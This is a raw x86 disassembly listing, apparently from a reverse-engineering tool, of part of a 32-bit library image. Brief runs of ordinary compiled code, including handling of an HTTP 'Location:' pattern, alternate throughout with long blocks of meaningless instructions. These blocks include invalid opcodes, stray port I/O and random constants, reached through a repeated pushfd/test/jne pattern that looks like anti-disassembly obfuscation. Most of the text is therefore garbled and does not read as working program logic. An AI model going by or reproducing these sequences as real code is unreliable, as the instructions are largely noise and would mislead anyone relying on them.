lodsb al, byte [esi]
or byte [ebx], bh
sar bl, 0x92
dec ebp
push ecx
mov ecx, 0x9ad16ea5
dec esi
loopne 0x10082b33
lodsd eax, dword [esi]
sub eax, 0x7c561552
inc esp
adc edx, dword [ecx + 0x22]
cli
imul byte [esi]
xor bh, byte [ecx + 0x19]
pushal
lds edx, [edx]
jb 0x10082bb8
xor eax, 0xf4580c10
xchg edi, eax
push esi
out 0xc3, al
cmp dword [eax + 0x27], eax
fimul word [ebp + 0x6806eb0e]
daa
xor esp, eax
leave
push ss
je 0x10082b66
inc ecx
add eax, 0x85e4fb4f
mov esi, 0xf13a3f78
xor esp, ebx
jns 0x10082c28
mov esp, 0xbd2fd6b3
xor edi, dword [edi + 0x18d4826c]
cmp al, 0xdb
dec ebx
int3
cwde
dec esp
cmc
lodsd eax, dword [esi]
enter 0xffffffffffffb686, 0x2f
sub ch, byte [ebx - 2]
xchg ecx, eax
invalid
cmc
push edx
xchg esp, eax
jns 0x10082bff
mov dword [0x8ad4f3c4], eax
xor al, 0xb
push ecx
int 0x83
shl byte [esi - 0x72], 1
pop ecx
test al, 0xc0
sub dword [ecx - 0x58], 0xb201eb36
jl 0x10082bc8
invalid
pushfd
imul edi, dword [0xbda8f615], 0x2b
jecxz 0x10082c3b
pushal
and al, 0xfc
pop edx
test al, 0xa3
mov word [ebx], gs
and dword [ecx - 0x7f], 0xffffff9a
xor eax, 0xc869ad
neg dword [ebp - 0x7f]
jae 0x10082bd2
adc ebx, ecx
push ecx
insb byte es:[edi], dx
mov byte [eax], al
imul edi, dword [esi], 0xdebbc188
or al, 0xb5
nop
adc al, 0xde
jg 0x10082bda
popfd
mov eax, dword [ebp - 0xcec]
cmp eax, ebx
je 0x10082d73
adc al, 0xf3
invalid
sub eax, dword [ebp - 0xcb8]
lea ecx, [ebp - 0xc94]
push eax
push dword [ebp - 0xcb8]
mov dword [ebp - 0xc80], 0xf
mov dword [ebp - 0xc84], ebx
mov byte [ebp - 0xc94], bl
call fcn.10005303
lea eax, [ebp - 0xc94]
pushfd
test byte [0x10082cdb], 0x5e
jne 0x10082cdc
lea ebp, [ebx + esi*8 - 1]
call dword [eax - 1]
mov ch, 0x48
invalid
jl 0x10082cbc
and ch, byte [eax - 0x58c6a5aa]
fisttp qword [esi + edi*4]
mov eax, dword [0xea9c1a55]
mov dword [ebp + 0x4e], edx
xchg esi, eax
jo 0x10082ca1
adc ecx, dword [ecx + 0x1a2b47f0]
dec esi
xchg esp, eax
ficomp word [edi + 0x30c63083]
and esp, dword [eax - 0x362a856e]
mov dword [edx + 0xa], ecx
inc esp
adc dl, ah
dec esi
loop 0x10082cf1
fcmovu st(0), st(2)
adc al, 0x8e
jg 0x10082cf7
jmp [eax - 0x16]
jno 0x10082ce5
cmpsd dword [esi], dword es:[edi]
cli
je 0x10082c90
leave
push ecx
add al, 0x33
or dword [esi], ecx
add byte [esi], bl
mov bl, dh
shl ah, 1
mov ebx, 0x144a7f94
pop esp
add dword [ebx + edx*2 + 0x48ce0c04], esp
popfd
push eax
lea ecx, [ebp - 0xc50]
mov byte [ebp - 4], 0xb
call fcn.1007a294
push ebx
push 1
lea ecx, [ebp - 0xc94]
mov byte [ebp - 4], 0xa
call fcn.10002a9a
inc ebp
cld
or ebp, eax
cmpsd dword [esi], dword es:[edi]
jne 0x10082ceb
invalid
call dword [ebx + 0x6a]
add dword [ebp - 0xc9373], ecx
lea ebp, [ebx + esi*8 - 1]
inc esi
inc ebp
cld
or ch, al
wait
std
idiv edi
inc esi
cmp esi, 1
pushfd
test byte [0x10082d6b], 0x25
je 0x10082d6c
imul ebp, dword [edi], 0xffffff90
loop 0x10082d32
push cs
add al, dl
setb ah
push 0x702c873f
push eax
salc
push esi
fldpi
xor dword [eax + 0x5a], esp
sbb al, 0x57
push 0x249976a
adc eax, 0x619f3e3c
loop 0x10082d3d
or dl, dh
salc
imul ecx, dword [eax - 0x2f], 0x52
cld
push es
out 0x5b, eax
cmp ch, byte [eax - 0x22bf64be]
xchg byte [ecx + 0x60], al
mov eax, dword [0x58a4c5ea]
inc ebx
outsb dx, byte [esi]
mov dh, 0xaf
sbb dl, byte [0xc5f95e75]
fimul dword [eax - 0x5d]
xor esp, ecx
test dword [edi], 0x29132938
int3
popfd
jl 0x100829ef
mov eax, dword [ebp - 0xcd8]
mov dword [ebp - 0xcb8], eax
jmp 0x100831ce
mov byte [ebp - 0xcb1], 1
pushfd
test byte [0x10082e87], 0xe5
jne 0x10082e88
mov cl, bl
sbb al, 0xb4
je 0x10082db3
nop
sbb bh, ah
push eax
imul esp, dword [ebp + 0x15], 0xffcd931f
sub ah, byte [eax + 0x492a458c]
leave
pop esp
cmp bh, byte [esp + eax]
cmp al, 4
push ss
mov esi, 0xbe11f4f9
and al, 0xd4
cmp eax, 0xa9734b48
pop ebx
jnp 0x10082deb
add dword [eax + 0xfd81863], esi
je 0x10082e07
in al, 0x16
call 0x58fda6c5
push 0x10852293
cmpsd dword [esi], dword es:[edi]
loop 0x10082de2
xchg ebx, eax
and al, byte [ebp + 0x6e2a710]
pop ebp
mov ch, 0x38
mov esp, dword [0x9ec85e09]
les edi, [edi + ebx*4 + 0x55f2c6b9]
pop esi
enter 0xffffffffffffc49e, 0xffffffffffffffbc
lahf
mov ecx, 0x1655f2c6
push ebp
push ss
push ecx
mov bl, ch
xchg edi, eax
sub bh, byte [ecx - 0x25]
inc ebx
lodsb al, byte [esi]
sbb eax, 0xf90dcdfd
invalid
out dx, eax
wait
test ebx, 0xaf36834a
in al, 0x7d
jns 0x10082dd5
jge 0x10082da2
mov eax, dword [0xb333d0fd]
lahf
or ebx, eax
mov dl, byte [ebx + ebx*2 - 0x53]
xor bl, byte [edi]
fisub dword [esi - 0x73]
xchg byte [ecx + 0x34], cl
xor edi, dword [esi + 0x32]
sar byte [ebx - 0x38], 0xac
mov dword [0x25d09cb9], eax
push edi
rcr dword [ecx], cl
imul ebx, dword [edx + 0x14b9a5cd], 0x40
xor al, 0x98
or edi, esp
sal byte [eax + 0x64], 0xb
shr dword [ebp - 0x7854a2b1], 1
pop esi
inc edx
mov dword [ebx + 0x5a6bc9d8], eax
les ecx, [ebx + 0x4e]
out 0xa, al
mul esi
les edx, [edx + ebp*4]
inc esp
xor ah, byte [ecx - 0x76]
shl dword [ebp + 9], 0x11
mov edi, 0x1ce6c582
sbb eax, 0xf3326c9f
scasb al, byte es:[edi]
and eax, 0x86828f62
cmc
jno 0x10082eaa
test al, 0xb2
inc ebx
int3
popfd
cmp esi, dword [ebp - 0xc4c]
je 0x100832b0
pushfd
test byte [0x10082ec8], 0xb8
jne 0x10082ec9
dec esp
dec ecx
mov ebp, 0x95f4c108
adc al, 7
jge 0x10082e50
out 0xd5, al
movsd dword es:[edi], dword [esi]
adc dword [eax + 0x60], esp
sub eax, 0x4e32c5f6
jb 0x10082ef2
push cs
mov ecx, 0xaabd4136
or dword [edx + 6], ebp
pop es
push ebp
loop 0x10082f28
mov ch, 0x21
loopne 0x10082f40
popfd
cmp dword [esi + 0x14], 0x10
jb 0x10082f4f
pushfd
test byte [0x10082f49], 0x97
jne 0x10082f4a
and dh, dh
mov ah, 0x44
mov al, 0x17
fdiv dword [ebx + esi*4 - 0x1b]
in eax, 0xe0
dec ah
pop edi
xchg esi, eax
lds esp, [ecx + esi*8 + 0x54]
cwde
loopne 0x10082ee4
int3
xlatb
je 0x10082ed0
into
ja 0x10082ee3
fsubr dword [ebx - 0x11391dd2]
test al, 0x4d
and eax, 0xea56b279
jo 0x10082eee
sub byte [esi - 0x258fcf53], 0
js 0x10082f89
xor al, 0xee
test al, 0x71
push ds
push 0x49
xchg esp, eax
rol ah, 0x55
mov bh, 0xa7
cmp dword [edi + 0x58e56e1c], edi
cmp ebp, dword [ecx]
dec ebp
fnstenv [edi]
inc ecx
pop ss
xchg ebx, esp
pop edi
xchg esi, eax
push ds
push esi
jl 0x10082f0d
push esp
insb byte es:[edi], dx
cdq
loop 0x10082f75
aam 0
rol byte [ebp - 0x37d099ef], 1
stosb byte es:[edi], al
push edx
add byte [ebp + 0x70833462], bh
mov ebp, ebp
adc cl, bl
popfd
mov ecx, dword [esi]
jmp 0x10082f51
mov ecx, esi
mov eax, dword [ebp - 0xcb8]
pushfd
test byte [0x10082ffd], 0xb1
jne 0x10082ffe
pop ds
lds esi, [ebx]
aad 0xc2
loopne 0x10082f17
sahf
pop eax
mov edx, 0xf764f6ff
sub dword [ecx - 0x67], eax
cdq
imul edi, edx, 0x2f
push es
daa
cmp dword [edi + ebp*4 + 0x3f0cd548], edi
cmp al, 0x99
xchg ecx, eax
dec edi
sub eax, 0xf1ba3b43
dec edx
mov ebx, 0xbf97d0c0
out 0x1d, al
or byte [ebx - 0x5456d26f], cl
sar dword [esi + 0x58be2f2b], 1
inc ebx
cmp edi, dword [edx - 0x3f44b50f]
rcl byte [edi + 0x81de6bf]
mov edx, dword [ecx - 0x2e5456d3]
mov esi, 0x58be2f2b
pop edx
pop edx
sub esi, dword [esi - 0x71cf0056]
pop edx
lds ecx, [edx]
lea eax, [edi + esi*4 + 0x72]
stosb byte es:[edi], al
xor al, 0x89
scasd eax, dword es:[edi]
jae 0x10082f75
mov ecx, 0x61c9f30
cmc
mov dl, 0xf0
out 0xd6, al
fld dword [edi - 0x67]
push ebp
dec esi
shl byte [esi + 0x1bbe8cba], cl
pop ss
int3
cli
invalid
popfd
cmp dword [eax + 0x14], 0x10
pushfd
test byte [0x10083042], 0x79
jne 0x10083043
fdivr qword [ebp + ebp + 0x5af9a11b]
adc dword [ecx + 0x3f89046e], ebx
add al, 0x28
salc
pushal
mov ecx, 0x5c8e9d08
mov word [eax - 0x65594a96], ds
push esp
not dword [ebx + 0x5d08bd6b]
cmp byte [esi + 0x49], dl
add eax, 0xafdd93ae
jl 0x1008306d
pop esi
mov bl, 0x65
xchg dword [edi + 0x25bb4b1d], edx
popfd
jb 0x10083048
mov eax, dword [eax]
push ecx
push eax
call fcn.1011f079
neg eax
pushfd
test byte [0x100830e4], 0x27
jne 0x100830e5
stc
mov ah, 9
push ebx
cmc
and bh, bl
ja 0x1008306b
add dl, byte [eax + 0x54]
push esp
jo 0x10082ff7
mov edx, ebx
mov word [edx], fs
clc
sub esp, edi
and al, 0x22
pop ss
fimul dword [edx + 0x24fc29f8]
and dl, byte [edi]
xor bh, al
fcmovb st(0), st(7)
or byte [esp + ebx*4 + 0x5e], cl
lodsd eax, dword [esi]
out dx, eax
xchg ecx, eax
fdiv qword [esi]
jb 0x10083065
or dh, dh
popal
and ah, byte [edi + 0x15]
push eax
adc ah, cl
pop edx
push esi
out dx, al
add dword [ebx], esi
adc eax, 0xf784f740
and al, 0xa5
in al, 0xfc
push 0x4e
or dword [eax - 0x5f6efc18], esi
jb 0x100830de
sub al, 0x1a
add esi, dword [esi + 0x60af0305]
aaa
or cl, byte ds:[edi]
les ebx, [esi + 0x42]
leave
movsb byte es:[edi], byte [esi]
rol al, 1
dec ebp
pop ss
cli
fidiv dword [ebp + edx - 1]
add ecx, dword [ebx + 0x53]
test dword [eax], ebp
inc eax
mov dword [0x95cb59fd], eax
fdivr dword [esi + 0x6a]
movsb byte es:[edi], byte [esi]
push 0xffffffffffffffa4
mov al, 0x50
imul edi, dword [eax + 0x20], 0xffffffbf
nop
dec ebp
and byte [ecx + 0x6a0fb25a], bh
arpl word [ebx + 0xb1eed09], dx
push 0x63
xchg ebx, eax
or ebp, ebp
push ds
or ebx, dword [ebp - 0x3f013fe6]
popfd
sbb al, al
inc al
pop ecx
pop ecx
jne 0x100830f4
mov byte [ebp - 0xcb1], bl
add dword [ebp - 0xcb8], 0x1c
pushfd
test byte [0x100831ab], 0x72
jne 0x100831ac
inc esi
xchg byte [esi], bh
lahf
call 0x992d9ac6
int1
inc ebp
insd dword es:[edi], dx
pop ebp
loop 0x100830cf
xor al, 0xc
push esi
xor dl, byte [edi + 0x3ec2a49a]
div dword [edi]
or byte [esi - 0x51], dh
xor dword [eax - 0x21745b34], ebp
sbb eax, 0xf35441d6
add dword [edx - 0x67b439a3], esp
xchg ebx, eax
enter 0x6b5e, 0x6e
sbb ecx, ebx
sar byte [ebp + 0x73], 1
cmp dword [ebp - 0x75], esi
jne 0x100830cf
in al, dx
inc eax
xchg ch, al
jnp 0x10083165
inc eax
push cs
jge 0x10083142
sub byte [edx - 0x79], dh
stosd dword es:[edi], eax
dec ebx
js 0x100831d2
mov dword [edi + ecx*2], ecx
cdq
push cs
in eax, dx
lds esp, [edi + 0x49]
sub byte [ebx + 0xc], dl
cld
xor al, 0x4b
cmp byte [0x1a5179fb], al
add eax, 0x1a5179fb
push 0x72
adc al, 0xc9
fcomp dword es:[ebx + edx*4]
push eax
adc eax, 0x21184805
cmp bh, dh
jle 0x10083148
jb 0x10083131
sub esi, edi
fisub dword [edi]
aas
jae 0x100831aa
sbb al, 0xa7
sub ecx, ebp
fdivr qword [0x949c4023]
cmp ecx, dword [edi + 0x54cf0a99]
push ebx
mov edx, dword [eax + 0x65ad1191]
jle 0x100831b9
inc ebx
salc
arpl word [edi + edx*8], ax
scasd eax, dword es:[edi]
dec ecx
inc ebx
inc ebp
cmp edx, esi
xchg esi, eax
xchg esi, eax
popfd
add esi, 0x1c
cmp esi, dword [ebp - 0xc4c]
jne 0x10082eca
std
invalid
cmp byte [ebp - 0xcb1], bl
jne 0x100832b0
dec edi
invalid
mov eax, dword [ebp - 0xcb8]
mov esi, dword [ebp - 0xc50]
cmp eax, dword [ebp - 0xcd4]
jne 0x10082d84
invalid
jmp 0x100831f1
push esi
lea ecx, [ebp - 0xcd8]
call fcn.1007a294
add esi, 0x1c
cmp esi, dword [ebp - 0xc4c]
jne 0x100831e2
jmp 0xbe0e2899
pushfd
test byte [0x100832ae], 0x27
jne 0x100832af
xor byte [ebp - 0x4c], dl
les esp, [edi + 0x651bbf14]
cmp dword [edx], edi
movsb byte es:[edi], byte [esi]
adc cl, 0x7a
rcl byte [ebp + ebx*4 + 0x7d2bdb40]
mov al, byte [0xaf9911b1]
xchg esp, eax
popfd
inc eax
fld xword [ebx]
jge 0x100831be
mov cl, 0x11
cdq
scasd eax, dword es:[edi]
stosb byte es:[edi], al
das
sbb dword [ebp + ebx*2 - 0x2962c289], ecx
sbb edi, ebp
jns 0x100832a3
cmc
jle 0x100831f8
loopne 0x1008325b
push ebp
push es
movsb byte es:[edi], byte [esi]
mov ecx, 0xe9604561
add al, byte [ecx - 0x21c9c8ae]
dec eax
jbe 0x10083282
salc
popal
mov eax, 0xbca38158
inc esi
in al, 0xe7
outsb dx, byte [esi]
dec ebx
popal
cli
out 0xcf, eax
dec esp
adc bh, dl
out 0xf, al
fild qword [ebx + ebx]
pandn mm5, qword [ebx + ebx]
shr ebp, 0xdc
cli
mov dword [0xa7ce0fac], eax
jbe 0x10083262
xsaveopt [eax - 0xd72e943]
push eax
mov ecx, 0xb4974e32
int3
xchg edx, eax
jmp 0x10083217
adc byte [ecx - 7], al
jg 0x100832bd
or byte [ebp + esi*4 + 0x45], ah
aam 0x21
sbb esp, dword [ebp - 0x12]
sub dword [eax + ebp*8 + 0x158c15cc], eax
mov ebx, 0x8ce83244
out 0x6e, eax
xor ch, al
mov edi, fs
outsb dx, byte [esi]
sar byte [ebp - 0x7215101b], 1
scasb al, byte es:[edi]
popfd
mov esi, dword [ebp - 0xce8]
lea ecx, [ebp - 0xc50]
cmp esi, dword [ebp - 0xce0]
pushfd
test byte [0x10083382], 0xea
jne 0x10083383
mov ch, 0x20
invalid
pop edi
enter 0x6285, 0xffffffffffffffd6
rcl byte [edx], 0x6b
pop ebp
into
leave
adc bh, byte [ebp - 0x4c]
pop eax
loopne 0x1008328c
salc
lea edx, [ecx - 9]
je 0x100832e9
int1
xchg bx, ax
xchg ebx, eax
xchg esi, eax
add dh, al
mov edx, 0xfdb52826
sub byte [edx], cl
pop ecx
inc eax
xor byte [esi - 0x25], dh
adc byte [edi - 0x1f], 0x28
and ebx, dword [ebp - 0x560718e4]
sub al, 0x61
arpl word [esi - 0x71e431ab], cx
mov dh, 0xc4
mov edi, 0x6a3389cc
pop edi
inc edx
pop esi
cmp al, al
aam 0x5a
pop ebp
adc eax, 0x39f53ec9
or dword [ecx + 0x7f], ecx
add dh, dl
mov cl, 0xb9
mov dl, byte [esp + esi*2 - 0x771ad5d5]
outsd dx, dword [esi]
add al, 0xe3
and ecx, dword [0xe8ebeb11]
xchg edx, eax
or eax, 0x92382ad5
dec edx
outsb dx, byte [esi]
fmul qword [ebx - 0x60]
adc dword [ebp + 0x37], esp
pop ss
xchg edx, eax
mov esi, es
or ch, byte [ecx - 0x4d]
ror bl, 1
outsb dx, byte [esi]
enter 0x5002, 0xffffffffffffffd7
jg 0x100832f5
jno 0x10083361
inc ecx
or eax, 0x7c2d3ef2
lodsd eax, dword [esi]
inc esp
inc edx
int 0x98
cwde
insb byte es:[edi], dx
stosd dword es:[edi], eax
int 0xf3
sbb ah, byte [ecx + 0x58a9c0ed]
and eax, 0x2d4c2b75
into
clc
imul esi, dword ss:[ecx + 0x17e46a35], 0x288e2348
push esi
sbb al, al
mov dl, 0xcd
popfd
jae 0x1008345b
mov byte [ebp - 4], 9
call fcn.100790d4
jmp 0x100828d6
call fcn.100790d4
push dword [ebp - 0xcf0]
call fcn.10121f24
pushfd
test byte [0x100834d2], 0x39
jne 0x100834d3
sub al, 0x66
sbb dword [ecx], esp
leave
imul ebx, edx, 0x46395dfe
rcl edx, cl
pop esp
sub dl, byte [esi + 0x2fcff8e2]
xchg ebx, eax
outsb dx, byte ss:[esi]
add ebp, edx
or eax, 0x4546ba5
jae 0x1008348b
mov esi, 0x4258a49f
fild dword [ecx - 0x2a]
or byte [eax], al
dec edi
xor al, 0x2b
xchg edx, eax
mov eax, 0xa3551ff7
sub byte [ebx - 0x1486193f], dl
adc byte [ebp - 0x7b], bl
test al, 0xb4
pushal
mov ah, 0x60
xchg ebx, eax
xchg ebp, eax
xchg dword [eax + 0x5fc8947c], edi
adc byte [si - 0x73], 0xe3
cld
inc edx
add byte [edi + edi*8 + 0x46], bh
cdq
outsd dx, dword [esi]
mov bh, 0x6f
xor byte [eax - 0x6579d783], bh
popfd
pop ecx
lea ecx, [ebp - 0xd4c]
call fcn.1005eb20
pushfd
test byte [0x100835e2], 0x90
jne 0x100835e3
sub ebx, dword [esi - 0x22]
dec dword [ebx]
jnp 0x100834b4
pop es
or esi, edi
lodsb al, byte [esi]
sbb byte [ebx + 0x4deeeb08], al
sbb bh, byte [ebx + 0x28]
arpl sp, di
sub byte [ebx - 4], ah
xchg ebp, eax
push ss
rcr dword [ecx - 0x1ff7474f], 0x1e
jb 0x10083579
das
mov dword [0x65045ca6], eax
jle 0x10083539
adc al, 0x95
and al, byte [0x6ea9bff9]
mov edi, 0x289ac1c9
lodsb al, byte [esi]
jb 0x10083501
dec edx
cmp eax, 0xcc4a2405
mov ch, 0xd1
mov byte [ecx], bh
test dword [ebx], ebp
dec esi
cmp al, 0xfe
sub byte [ebx - 6], al
inc ebx
cli
mov cl, 0xb5
and dword [edi], edx
rol byte [ebx - 0x6a5688c7], 0x76
out dx, al
jbe 0x10083535
ror ch, 1
sub byte [eax], ch
xor ecx, dword [ebx]
and ch, byte [ebp - 3]
dec edx
pushfd
jbe 0x100835bd
adc al, 0xbb
jg 0x10083545
int3
jb 0x1008359d
jbe 0x100835dc
push cs
not byte [eax]
inc esp
xor byte [esi + 0xe], dh
jnp 0x1008358a
cmp ebp, dword [esi + eax*2 + 0x2d8bec6c]
cmp dl, 0xad
cmp al, 0xf5
in al, dx
mov ebp, dword [0x3cadfa80]
cmc
xlatb
int1
pop ebx
clc
xorps xmm3, xmmword [ecx + ebp*4]
cmpsb byte [esi], byte es:[edi]
inc ebx
shl byte [ebx + 0x1a], cl
out 0xa8, eax
jl 0x10083611
setl byte [ebx - 0xe]
ror dword [eax], cl
pushfd
int1
mov esp, 0x97f14cc0
inc edx
push esp
sbb eax, 0xa72b019b
sub al, 0x1e
push 0x9b1a8a78
outsb dx, byte [esi]
sbb byte [ecx + 0x18455747], bh
das
sbb bl, byte [ebx + 0x47b9186e]
push edi
inc ebp
sbb byte [edi], ch
cwde
les esi, [esi - 0x1ab2c88a]
dec ecx
pop ds
inc ecx
or byte [edi + 0x7b1e4031], ch
dec ecx
xor cl, byte [edx]
mov esp, dword [ecx]
sub byte [0xca04829d], cl
popfd
lea ecx, [ebp - 0xd20]
mov byte [ebp - 4], 3
call fcn.1005cc6e
mov eax, dword [ebp - 0xcd4]
mov ecx, dword [ebp - 0xcd8]
sub eax, ecx
pushfd
test byte [0x1008370e], 0x1f
add eax, 0x1008370e
pop ds
jne 0x1008370f
test eax, 0x1d59c441
les ebx, [ecx + 0x1d]
or dword [edi - 0x7e], eax
fisubr word [esi + 0xb8da6a7]
fldcw word [esi + 0x7ae0fb6d]
push edi
in eax, dx
adc ecx, dword [0xbcbb6e33]
mov dl, 0x3a
das
mov ecx, 0x2a337087
inc edi
jne 0x100835e4
stc
pop esi
and dl, bl
inc dword [ebp - 0x34721805]
mov eax, 0x472e635b
push esp
test eax, 0xa45c325f
and byte [ebx - 0x6f4dcc33], bl
mov dl, 0x90
cmp eax, 0xe204f7ab
pop ebp
add dword [ecx - 0x4f], eax
inc esp
mov cl, 0x44
pop ss
jae 0x10083603
aad 0x73
test eax, 0x5cd9984b
cwde
jns 0x100836a1
inc esp
test ah, ch
and eax, 0xdf498735
in al, 0x66
std
loopne 0x100836dd
out dx, eax
push esi
xor al, 0x4a
into
rcl dword [esp + edx + 0x117762be], cl
or byte [ebp + 0x5cb8e427], bl
inc edi
cmp ecx, dword [ebp - 0x39bd0e0e]
jbe 0x100836f8
or eax, 0x776832c6
bound edi, qword [esi]
xchg ebx, eax
pop edx
push edx
std
sbb byte [ebx], ch
jnp 0x1008365a
jl 0x10083650
scasb al, byte es:[edi]
in eax, 0xc5
mov al, 0x3f
sub dword [ecx], ecx
out dx, al
std
sbb dword [eax + esi], ecx
pop ebx
and al, 0x3c
out 0xd5, eax
pushfd
das
adc eax, 0xcd516ad6
shl edi, 1
insd dword es:[edi], dx
int 0xd1
out 0x6d, eax
test al, 0x24
fadd dword [ebx + edi*8 + 0x629f7177]
jle 0x10083698
push ebx
push ebx
pop ecx
int 0xa9
pop esi
mov eax, dword [0x3bf26138]
xor al, 0xdf
out 0xf8, al
scasd eax, dword es:[edi]
and dh, bl
insb byte es:[edi], dx
scasd eax, dword es:[edi]
test eax, 0xefadf4f4
pop edi
add esp, edx
aam 0x9e
aam 0xba
pop ss
cmp dword [edi], ecx
jle 0x100836b8
hlt
sub ecx, dword [esp + ebp*4 - 0x33]
jg 0x100836aa
dec esp
in eax, dx
push edi
dec ebp
jns 0x1008376f
mov word [esp + 0x58d0e948], cs
salc
and eax, dword [ebp - 0x144dfad0]
cmp bl, byte [eax + 0x25]
inc edx
and dword [edx - 0x4c], eax
pop ds
dec edi
popfd
push 0x1c
cdq
pop esi
idiv esi
test eax, eax
je 0x10083842
cmp dword [ecx + 0x14], 0x10
pushfd
test byte [0x1008382b], 0xfe
jne 0x1008382c
sub dh, 0x66
cmp ah, byte [esi + 0x73]
dec esp
scasb al, byte es:[edi]
sal dword [ecx - 0xd4758fa], 0xde
loop 0x1008375e
imul ebp, dword [esi], 0x25
sub bl, byte [edx + 0x4a]
inc ebx
xchg ebx, eax
rol ah, 1
insd dword es:[edi], dx
pop es
sbb ch, byte [esi]
leave
mov edi, 0x8b7baab4
push edi
mov edx, 0xa4e7a02e
shr ch, 1
into
cmp al, byte [esi]
cmp byte [edx], dh
inc esp
jge 0x1008371e
mov ecx, 0x48665cd2
dec ax
push esi
mov eax, 0x150545db
insd dword es:[edi], dx
sub esp, dword [ebp - 0x491843e5]
jnp 0x10083768
adc eax, 0x1ba52b6d
mov esp, 0xef7bb6e7
fisubr dword [eax]
popfd
dec ecx
add dword [esi], esi
push edi
outsd dx, dword [esi]
int 0x83
inc esi
imul esi, dword [ebp + 0x750848d6], 0xed267a4
sbb dword [eax + 0x4ee62e9d], 0xffffffe8
lodsd eax, dword [esi]
leave
sub dh, byte [ebx]
loop 0x100837c5
pop edi
inc edx
adc ah, byte [eax]
mov dword [0x10cbdb5d], eax
xchg ecx, eax
pop es
adc ebp, ebp
test eax, 0xfdf3d0fb
or dword [ecx + 0x30], ebx
sti
pop ds
xor dword [edi + 8], ebx
sub dword [edx + ebp], ebp
and dword [0xb73e4a43], 0xffffffc5
nop
mov dword [ebp + 0x38], ebx
call 0x370d5b1e
pop ebp
cmp al, ch
push edx
and eax, dword [0x43b94b27]
dec ebx
mov ecx, 0x762dd43
frstor dword [edx + 7]
adc byte [ebp + 0x398035c8], 0xe2
fidivr word [ecx - 0xb78d52d]
pushal
test eax, 0x25f69656
mov ebx, 0x5ed6a7c
je 0x10083796
and ch, byte [esi - 0x65]
pop ds
cmp dl, al
cld
pop edi
jl 0x100837cc
add eax, 0x7a492e78
mov cl, 0xf4
dec ecx
adc byte [0x40183f9b], ch
xor byte [edx + eax*8 + 0x6d], bh
cmp dword [ebx], edx
inc edx
jns 0x100837cf
mov bl, 0x2f
lodsd eax, dword [esi]
call 0x5c08944e
dec ebp
mov esi, 0x44ed04ca
sub dword [ecx], eax
or al, byte [esi + edi]
mov eax, 0x39ccd64b
cmp al, 0xa5
or edx, dword [ecx]
fldln2
leave
popfd
jb 0x10083833
add al, 0x8b
add ebx, ebp
add cl, byte [ebx - 0x5717af3f]
mov esp, 0x89590009
xchg dword [eax - 0x42000000], ebp
mov ah, 0x74
adc al, 0x10
mov eax, dword [ecx]
jmp 0x10083835
mov eax, ecx
push eax
call fcn.1011f4e3
pop ecx
mov dword [edi + 0xa8], eax
mov esi, str.Location:__A_Za_z0_9_:.___
push esi
call fcn.1011d740
pushfd
test byte [0x10083872], 0x7b
jne 0x10083973
jl 0x1008382e
mov ss, word [eax - 0x56]
mov ebx, 0x4a78d61b
les edi, [ecx + 0x2db0ef40]
sbb dword [ebx + 0x57febb5e], ebp
loopne 0x1008387f
inc esp
imul eax, dword [eax - 0x31d2400a], 0x41d2eaf2
pop edi
inc ebp
sbb dword [ebx + 0x744a6d3d], ebp
dec ecx
mov edx, 0xe5befeab
xchg edx, esi
xchg ecx, eax
sbb esp, dword [edi]
mov ah, byte [edx + 0x22]
xchg dword [eax], ebx
daa
fbld tbyte [edx + 0x82c2690]
clc
mov byte [eax - 0x31e7610c], al
push ss
or eax, 0x89ccaca0
mov eax, dword [0xabe7dd0e]
stosd dword es:[di], eax
cmp cl, byte [ecx + 5]
mov dword [0x6c037bc2], eax
stc
lodsb al, byte [esi]
in al, 0xbc
xor al, 0x1b
inc esp
dec ebx
repe scasb al, byte es:[edi]
push 0xffffffffffffffe7
sub eax, 0x883818ba
jo 0x100838f5
nop
fimul dword [edi]
test al, 0x2c
xchg ebx, eax
lodsb al, byte [esi]
cmp cl, cl
or ch, byte [edx + 0x318b30e6]
test al, 0x75
sub al, 0xba
inc dword [esi]
mov dword [eax], esi
sbb bh, cl
push ebx
add bl, byte [ebp + 0x3e3eee67]
salc
salc
cmp byte [edi], bh
add eax, 0xa928a96c
add ax, 0x19fb
sub byte [ecx + 0x19fb0566], ch
add byte [edi - 0x80], dl
les edi, [ebx - 0x38]
pop ecx
xchg esi, ecx
xor eax, 0x5c0d1b5b
aaa
xchg esi, edi
movsw word es:[edi], word [esi]
inc esp
fucompi st(5)
jae 0x10083909
add dword [esi - 0x4f], esp
inc esi
mov bh, 0xbe
push ecx
mov edx, 0x890c2c08
jnp 0x10083909
inc ebp
push esi
not dword [ebp + 0x278e362d]
push 0x876078c9
inc ebp
scasb al, byte es:[edi]
xor dword [ebp - 0x27], ebx
loop 0x100839a4
or byte [eax - 0x6868de5b], dh
mov cl, 0x97
int3
xchg ebp, eax
cmp cl, byte [eax]
adc byte [ecx], 0xbf
out 0x16, al
jb 0x10083978
push edx
push esi
in al, dx
mov dword [0xd65d979f], eax
pop ebp
salc
sub ah, byte [esi + 0x50d7f8b1]
pop dword [esi - 0x63]
push eax
aas
cld
out 0x85, eax
mov eax, ecx
cld
sahf
dec esp
add al, bl
push ebx
adc al, 0x1a
add eax, 0xdc755c5b
jne 0x10083951
popfd
pop ecx
push eax
push esi
lea ecx, [ebp - 0xc78]
call fcn.10005303
push dword [ebp - 0xcd4]
lea eax, [ebp - 0xce0]
push dword [ebp - 0xcd8]
lea ecx, [ebp - 0xcd8]
push eax
pushfd
test byte [0x10083a15], 0x53
je 0x10083a16
lea ecx, [eax - 0x1700000d]
sbb dword [ecx], 0xb5fffff8
sub al, 0xf3
invalid
invalid
jno 0x100839ce
sub byte [esi - 0x7ec3622e], cl
mov ss, edx
popfd
cmp al, 0x81
lodsb al, byte cs:[esi]
jne 0x100839b3
lodsb al, byte [esi]
add eax, 0x933cef9b
cmp al, 0x93
push eax
dec edi
imul eax, ebp, 0x4a
jle 0x10083941
jb 0x10083947
in al, dx
add dword [edx], esp
enter 0x2c94, 0x3e
pop eax
mov dword [0x9e3641d6], eax
sahf
inc edi
dec edx
mov al, byte [0x57b29505]
mov ebx, 0x7b71ae77
pop fs
xchg ebx, eax
out 0xc1, eax
xchg edi, eax
out dx, al
lodsb al, byte [esi]
jae 0x10083a3f
pop ebp
into
adc dword [eax], esp
das
sub byte [ecx + 0xc], al
inc esp
jl 0x100839e1
mov ecx, 0x1530155b
mov esi, edi
lodsd eax, dword [esi]
outsd dx, dword [esi]
and esi, 0x31
pop ds
pop eax
xchg edi, eax
and al, 0x1d
mov al, byte [0x160a9f88]
scasb al, byte es:[edi]
mov eax, 0xd3857781
pop eax
mov bh, 0xbf
or dword [ebp - 0x7e91d298], edi
push eax
xchg edi, eax
